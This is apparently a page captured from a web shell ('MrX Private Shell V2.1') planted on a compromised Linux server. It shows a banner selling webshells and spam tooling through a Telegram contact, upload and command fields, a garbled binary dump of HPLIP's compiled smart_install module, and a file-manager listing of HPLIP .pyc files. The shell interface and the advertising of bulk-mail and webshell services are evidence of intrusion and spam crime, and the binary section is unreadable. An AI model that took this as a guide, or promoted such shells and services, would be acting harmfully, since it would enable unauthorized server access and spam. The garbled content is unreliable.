__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

���g3.���SSKrSSKrSSKrSSKrSSK7 SSKJrJr SSKJ	r	J
r
 SSK7 SSK7 Sr
SrSrS	rS
rSSjrSrSS
jrg)�N�)�*)�utils�tui)�password�
validationz+http://hplip.sourceforge.net/hplip_web.confc�j�SnSSSSS.n[R"S[R5[R"S[R5[R"S[R5[R"S[R5S.n[R"SS	5nU(a�[R
"U<S
U<S3SSSS
9upVUS:Xa�UR
5H�nUH�nX�;dM
US-
nX8RU5(a%X8RU5RS5X('O[RSU-5 SU:XaX(R5S:waS04s s $SU:XaX(S:XaS04s s $ O U[U5:XdM� S	U4$ S	U4$)Nr�)�idVendor�iProduct�bNumInterfaces�bInterfaceClassz"\s*idVendor\s*([0-9a-fx]{1,})\s*.*z"\s*iProduct\s*[0-9a-fx]{1,}\s*(.*)z!\s*bNumInterfaces\s*(\d{1,})\s*.*z"\s*bInterfaceClass\s*(\d{1,})\s*.*�lsusbTz -d z -vF)�passwordObj�pswd_msg�
log_outputrz:TBD... Shouldn't have entered into this condition. key[%s]r�0x03f0r)
�re�compile�Ir�which�run�
splitlines�match�group�log�warn�lower�len)	�vid_pid�
result_cnt�param_result�param_search�	lsusb_cmd�sts�out�l�ss	         �&/usr/share/hplip/base/smart_install.py�get_usb_detailsr*-s����J�!�b�B�Z\�]�L� "�
�
�+T�VX�VZ�VZ� [�!#���,U�WY�W[�W[�!\�')�z�z�2Z�\^�\`�\`�'a�(*�
�
�3\�^`�^b�^b�(c�g�L�
���G�D�)�I���)�)�9�g�>�d�]_�lq�r����!�8��^�^�%��%�A��v�"�a��
�'�?�0�0��3�3�.:�o�.C�.C�A�.F�.L�.L�Q�.O�L�O��H�H�%a�bc�%c�d�%�!�+���0E�0E�0G�8�0S�#(�"�9�,�'�1�_���B�1F�#(�"�9�,��&���\�!2�2������'&�&����c
�`�/n[R"SS5nU(d[RS5 U$[R"U5up#US:wa[RSU-5 U$UR5H�n[R"S[R5nURU5(a�URU5RS5n[U5upxU(dMt[RSUS	<S
US<SUS
<S35 USS:Xa:US
S:Xa/SUS	R5;aURUS	5 M�M�M�M�[RSU-5 M� U(a[R""U5nU$![ a N+f=f)NrTz Failed to find the lsusb commandrzFailed to run the %s commandz .*([0-9a-f]{4}:([0-9a-f]{4}))\s*rz	Product['rz'],Interfaces[r
z],InterfaceClass[r�]�1�8�laserjetz-Failed to find vid and pid for USB device[%s])rrr�errorrrrrrrrr*�debugr�appendr�KeyError�
uniqueList)	�smartinstall_dev_listr$r%r&�d�usb_dev_patr �bsts�
usb_paramss	         r)� get_smartinstall_enabled_devicesr;Us��������G�D�)�I���	�	�4�5�$�$�
��)�)�I�&����1�9��I�I�4�Y�>�?�(�(����!�A��*�*�%L�b�d�d�S�K�� � ��#�#�%�+�+�A�.�4�4�Q�7��#2�7�#;� �����	�	�Z�Xb�Mc�eo�qA�fB�CM�N_�C`�a�b��.�/�3�6�:�FW�;X�\_�;_�dn�r|�~H�sI�sO�sO�sQ�eQ�)�0�0��J�1G�H�eQ�;_�6����H��J�K�"�(� %� 0� 0�1F� G�� � ��
�
��
�s�7F �1DF � 
F-�,F-c�(�[5nU(agg)NTF)r;)�devicess r)�check_SmartInstallr>}s��.�0�G���r+c��Sup[R"5(d[RS5 X4$[R"[
5up#US:XaJ[
U5nURSSS5nU(aSnX4$[RS[
-5 X4$[RS[
-5 X4$)	N)r
r
�Internet connection not found.r�
SMART_INSTALL�	referencer
zSmartInstallDisable-Tool.run�Failed to download %s.)r�check_network_connectionrr1�download_from_network�HPLIP_INFO_SITE�
ConfigBase�get)�url�	file_namer%�
HPLIP_file�
hplip_si_confs     r)�get_SmartInstall_tool_inforM�s����N�C��)�)�+�+��	�	�2�3��>�� �5�5�o�F����!�8�&�z�2�M��#�#�O�K��C�C��:�	��>��	�	�	�2�?�B�C��>��
�I�I�.��>�?��>�r+c�4�[R"[US5R55n[RSU-5 U(a X4:wa[[[S[54$[R"5nURX5upgXaX'4$)N�rzFile checksum=%sr)
r�get_checksum�open�readrr2�ERROR_FILE_CHECKSUM�queryString�ERROR_CHECKSUM_ERROR�plugin_filer�GPG_Verification�validate)�mode�smart_install_run�smart_install_asc�req_checksum�
calc_checksum�gpg_obj�
digsig_sts�	error_strs        r)rXrX�s����&�&�t�,=�s�'C�'H�'H�'J�K�M��I�I� �=�0�1���5�"�K�0D�a��$U�U�U��)�)�+�G�#�,�,�->�R��J��*;�F�Fr+c	��[R"5(d,[RS5 [SS[[54$[R"[5up#US:Xa^[U5nURSSS5nU(d9[RS[-5 [SS[[S[54$[R"W5up&U(a1[RSU-5 [SS[[SU54$[R"US-5up'U(a7[RSUS--5 [SS[[SUS-54$[XU5up�pyX�Xy4$)Nr@r
rrArIrCz.asc)rrDrr1�ERROR_NO_NETWORKrTrErFrGrH�ERROR_FAILED_TO_DOWNLOAD_FILErX)
rYrr%rKrL�sourcerZr[r_r`s
          r)�downloadre�sO���)�)�+�+��	�	�2�3���b�+�6F�*G�G�G� �5�5�o�F����!�8�&�z�2�M�"�&�&��u�R�@�F���	�	�2�?�B�C�4�b�2�{�Kh�jk�m|�?}�}�}�!&�!<�!<�V�!D�����I�I�.�v�5�6�0�"�r�;�Gd�fg�io�;p�p�p�!&�!<�!<�V�F�]�!K�����I�I�.��v�
�>�?�0�"�r�;�Gd�fg�io�rx�ix�;y�y�y�FN�t�hy�Fz�C�
�'8��.?�J�Jr+c�>�[5nU(d*[RS5 [[	[54$[
n[	[
5n[
5up�[R"U5n
U[:XGaUS:XaSSK
Jn U"SU
<SU<S35 Xg4$[R"5(d1[RS	[-5 [
[	[
54$U(aU(aUR!U
S
["5 O)US:XaSSKJn OUS
:XaSSKJn W"SU
S
["5n[RS5 UR+5 [-5(aUR/SU-5 GO�UR1S5 Xg4$[RSU
-5 [2R4"SSS/S5up�U
(aUS:wa[
n[	[
5nXg4$[7X5unnnnSnUnU[8:XaSnO[U[:[<4;a@[2R>"S5up�U
(aU(d[@RB"S5 OSnO[	U5nU(a�[RD"SU-5unnU(d[-5(aE[RS5 [RSU-5 [
n[	[
5nXg4$[RGS5 [8nS
nXg4$![a# [RSU
<SU<S35 Xg4$f=f![a [RS5 GN$f=f![Ha0 [RS5 [@RB"S5 Xg4$f=f)NzNo Smart Install Device found�qt3r)�FailureMessageUIzSmart Install is enabled in zT device(s).

Auto Smart Install disable is not supported in QT3.
Please refer link 'z' to disable manuallyzS device(s).
Auto Smart Install disable is not supported in QT3.
Please refer link 'z+%s requires GUI support . Is Qt4 installed?r
�qt4)�QueuesDiagnose�qt5z0Unable to load Qt4/Qt5 support. Is it installed?zStarting GUI loop...zLFailed to disable smart install.
Please refer link '%s' for more informationz$Smart install disabled successfully.z*Smart Install is enabled in %s device(s). zADo you want to download and disable smart install?(y=yes*, n=no):�y�nFTz:Digital Sign verification failed, Do you want to continue?zsh %sz!Failed to disable smart install .z*Please refer link '%s' to disable manuallyz	User exit)%r;rr2�ERROR_NO_SI_DEVICErT�ERROR_FAILED_TO_DISABLE_SIrMr�list_to_string�GUI_MODE�ui.setupformrh�ImportErrorr1�canEnterGUIMode4�__mod__�init�QUEUES_SMART_INSTALL_ENABLED�ui4.queuesconfrj�ui5.queuesconf�exec_r>�showMessage�showSuccessMessager�enter_choicere�
ERROR_SUCCESS�ERROR_UNABLE_TO_RECV_KEYS�ERROR_DIGITAL_SIGN_NOT_FOUND�enter_yes_no�sys�exitr�info�KeyboardInterrupt)rY�
ui_toolkit�dialog�appr�dev_list�
return_val�return_error_strrIrJ�
printer_namesrhrj�response�valuer%rZr[r`�
disable_sir&s                     r)�disabler��sZ��/�1�H���	�	�1�2�!�;�/A�#B�B�B�+�J�"�#=�>��/�1�N�C��)�)�(�3�M�P��8���U�"�K�=�%�xE�FI�&J�K�T�'�'�O�-�-�/�/��I�I�K�g�U�V�5�{�C]�7^�^�^��c��K�K�
�r�3O�P�f�%��.�E�'�5�0�E�"0��m�R�Hd�!e���	�	�0�1�����%�'�'��&�&�'x�z}�'}�~��-�-�.T�U�`�'�'�W
�I�I�B�=�P�Q�!�.�.�/r�tw�y|�s}�@C�D�O�H��u��|�7�
�#.�/I�#J� �L�'�'�GHP�PT�Gb�D��&�(9�9�"�
� �
��-�'�!%�J��6�8T�U�U�&)�&6�&6�7s�&t�O�H�#�5������%)�
�'2�3�'7�$��$�y�y��1B�)B�C�H�C���0�2�2��	�	�"E�F��	�	�"P�QT�"T�U�%?�
�+6�7Q�+R�(��'�'����!G�H�%2�
�+-�(��'�'��[#�B��I�I�o|�}@�A�B�X�'�'�[B��$'�V��	�	�"T�U�V��n���	�	�+��������'�'�	�s|�4M"�L�M"� A
M"�+&M"�L<�+A*M"�AM"�2C7M"�,M"�(L9�4M"�8L9�9M"�<M�M"�M�M"�"5N�N)r
)riNNN)r��os.path�osr�gr
rr�baserr�
base.codes�base.stringsrFr*r;r>rMrXrer��r+r)�<module>r�sS��0��	�	���%���?���P%!�P��$
G�"K�:^(r+

Filemanager

Name Type Size Permission Actions
CdmWifi.cpython-313.pyc File 16.36 KB 0644
LedmWifi.cpython-313.pyc File 32.9 KB 0644
__init__.cpython-313.pyc File 194 B 0644
avahi.cpython-313.pyc File 2.54 KB 0644
codes.cpython-313.pyc File 24.52 KB 0644
device.cpython-313.pyc File 119.56 KB 0644
dime.cpython-313.pyc File 4.41 KB 0644
exif.cpython-313.pyc File 32.61 KB 0644
g.cpython-313.pyc File 21.39 KB 0644
imageprocessing.cpython-313.pyc File 40.63 KB 0644
imagesize.cpython-313.pyc File 7.26 KB 0644
ldif.cpython-313.pyc File 18.57 KB 0644
local.cpython-313.pyc File 2.31 KB 0644
logger.cpython-313.pyc File 22.16 KB 0644
magic.cpython-313.pyc File 64.16 KB 0644
maint.cpython-313.pyc File 68.32 KB 0644
mdns.cpython-313.pyc File 12.97 KB 0644
mfpdtf.cpython-313.pyc File 11.25 KB 0644
models.cpython-313.pyc File 21.22 KB 0644
module.cpython-313.pyc File 28.83 KB 0644
os_utils.cpython-313.pyc File 2.97 KB 0644
password.cpython-313.pyc File 13.44 KB 0644
pkit.cpython-313.pyc File 15.27 KB 0644
pml.cpython-313.pyc File 26.85 KB 0644
queues.cpython-313.pyc File 18.9 KB 0644
services.cpython-313.pyc File 11.37 KB 0644
six.cpython-313.pyc File 27.04 KB 0644
sixext.cpython-313.pyc File 8.11 KB 0644
slp.cpython-313.pyc File 8.03 KB 0644
smart_install.cpython-313.pyc File 11.66 KB 0644
status.cpython-313.pyc File 74.51 KB 0644
strings.cpython-313.pyc File 38.94 KB 0644
tui.cpython-313.pyc File 18.18 KB 0644
utils.cpython-313.pyc File 115.18 KB 0644
validation.cpython-313.pyc File 5.31 KB 0644
vcard.cpython-313.pyc File 45.18 KB 0644
wifi.cpython-313.pyc File 24.22 KB 0644
Filemanager